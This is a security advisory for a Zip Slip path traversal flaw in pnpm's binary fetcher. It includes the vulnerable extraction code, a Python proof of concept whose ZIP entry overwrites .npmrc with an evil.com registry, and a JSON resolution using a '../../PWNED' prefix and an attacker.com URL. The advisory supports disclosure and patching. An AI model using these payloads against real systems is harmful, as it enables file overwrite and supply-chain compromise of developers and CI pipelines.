GHSA-6PFH-P556-V868
Vulnerability from github – Published: 2026-01-26 21:02 – Updated: 2026-01-26 21:02Summary
A path traversal vulnerability in pnpm's binary fetcher allows malicious packages to write files outside the intended extraction directory. The vulnerability has two attack vectors: (1) Malicious ZIP entries containing ../ or absolute paths that escape the extraction root via AdmZip's extractAllTo, and (2) The BinaryResolution.prefix field is concatenated into the extraction path without validation, allowing a crafted prefix like ../../evil to redirect extracted files outside targetDir.
Details
The vulnerability exists in the binary fetching and extraction logic:
1. Unvalidated ZIP Entry Extraction (fetching/binary-fetcher/src/index.ts)
AdmZip's extractAllTo does not validate entry paths for path traversal:
const zip = new AdmZip(buffer)
const nodeDir = basename === '' ? targetDir : path.dirname(targetDir)
const extractedDir = path.join(nodeDir, basename)
zip.extractAllTo(nodeDir, true) // Entry paths not validated!
await renameOverwrite(extractedDir, targetDir)
A ZIP entry with path ../../../.npmrc will be written outside nodeDir.
2. Unvalidated Prefix in BinaryResolution (resolving/resolver-base/src/index.ts)
The basename variable comes from BinaryResolution.prefix and is used directly in path construction:
const extractedDir = path.join(nodeDir, basename)
// If basename is '../../evil', this points outside nodeDir
PoC
Attack Vector 1: ZIP Entry Path Traversal
import zipfile
import io
zip_buffer = io.BytesIO()
with zipfile.ZipFile(zip_buffer, 'w') as zf:
# Normal file
zf.writestr('node-v20.0.0-linux-x64/bin/node', b'#!/bin/sh\necho "legit node"')
# Malicious path traversal entry
zf.writestr('../../../.npmrc', b'registry=https://evil.com/\n')
with open('malicious-node.zip', 'wb') as f:
f.write(zip_buffer.getvalue())
Attack Vector 2: Prefix Traversal via malicious resolution:
{
"resolution": {
"type": "binary",
"url": "https://attacker.com/node.zip",
"prefix": "../../PWNED"
}
}
Impact
- All pnpm users who install packages with binary assets
- Users who configure custom Node.js binary locations
- CI/CD pipelines that auto-install binary dependencies
- Can overwrite config files, scripts, or other sensitive files leading to RCE
Verified on pnpm main @ commit 5a0ed1d45.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "pnpm"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "11.0.0-alpha.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-23888"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-23",
"CWE-426"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-26T21:02:49Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\n\nA path traversal vulnerability in pnpm\u0027s binary fetcher allows malicious packages to write files outside the intended extraction directory. The vulnerability has two attack vectors: (1) Malicious ZIP entries containing `../` or absolute paths that escape the extraction root via AdmZip\u0027s `extractAllTo`, and (2) The `BinaryResolution.prefix` field is concatenated into the extraction path without validation, allowing a crafted prefix like `../../evil` to redirect extracted files outside `targetDir`.\n\n### Details\n\nThe vulnerability exists in the binary fetching and extraction logic:\n\n**1. Unvalidated ZIP Entry Extraction (`fetching/binary-fetcher/src/index.ts`)**\n\nAdmZip\u0027s `extractAllTo` does not validate entry paths for path traversal:\n\n```typescript\nconst zip = new AdmZip(buffer)\nconst nodeDir = basename === \u0027\u0027 ? targetDir : path.dirname(targetDir)\nconst extractedDir = path.join(nodeDir, basename)\nzip.extractAllTo(nodeDir, true) // Entry paths not validated!\nawait renameOverwrite(extractedDir, targetDir)\n```\n\nA ZIP entry with path `../../../.npmrc` will be written outside `nodeDir`.\n\n**2. Unvalidated Prefix in BinaryResolution (`resolving/resolver-base/src/index.ts`)**\n\nThe `basename` variable comes from `BinaryResolution.prefix` and is used directly in path construction:\n\n```typescript\nconst extractedDir = path.join(nodeDir, basename)\n// If basename is \u0027../../evil\u0027, this points outside nodeDir\n```\n\n### PoC\n\n**Attack Vector 1: ZIP Entry Path Traversal**\n\n```python\nimport zipfile\nimport io\n\nzip_buffer = io.BytesIO()\nwith zipfile.ZipFile(zip_buffer, \u0027w\u0027) as zf:\n # Normal file\n zf.writestr(\u0027node-v20.0.0-linux-x64/bin/node\u0027, b\u0027#!/bin/sh\\necho \"legit node\"\u0027)\n # Malicious path traversal entry\n zf.writestr(\u0027../../../.npmrc\u0027, b\u0027registry=https://evil.com/\\n\u0027)\n\nwith open(\u0027malicious-node.zip\u0027, \u0027wb\u0027) as f:\n f.write(zip_buffer.getvalue())\n```\n\n**Attack Vector 2: Prefix Traversal via malicious resolution:**\n\n```json\n{\n \"resolution\": {\n \"type\": \"binary\",\n \"url\": \"https://attacker.com/node.zip\",\n \"prefix\": \"../../PWNED\"\n }\n}\n```\n\n### Impact\n\n- All pnpm users who install packages with binary assets\n- Users who configure custom Node.js binary locations\n- CI/CD pipelines that auto-install binary dependencies\n- Can overwrite config files, scripts, or other sensitive files leading to RCE\n\nVerified on pnpm main @ commit `5a0ed1d45`.",
"id": "GHSA-6pfh-p556-v868",
"modified": "2026-01-26T21:02:49Z",
"published": "2026-01-26T21:02:49Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pnpm/pnpm/security/advisories/GHSA-6pfh-p556-v868"
},
{
"type": "WEB",
"url": "https://github.com/pnpm/pnpm/commit/5c382f0ca3b7cc49963b94677426e66539dcb3f5"
},
{
"type": "PACKAGE",
"url": "https://github.com/pnpm/pnpm"
},
{
"type": "WEB",
"url": "https://github.com/pnpm/pnpm/releases/tag/v10.28.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "pnpm: Binary ZIP extraction allows arbitrary file write via path traversal (Zip Slip)"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.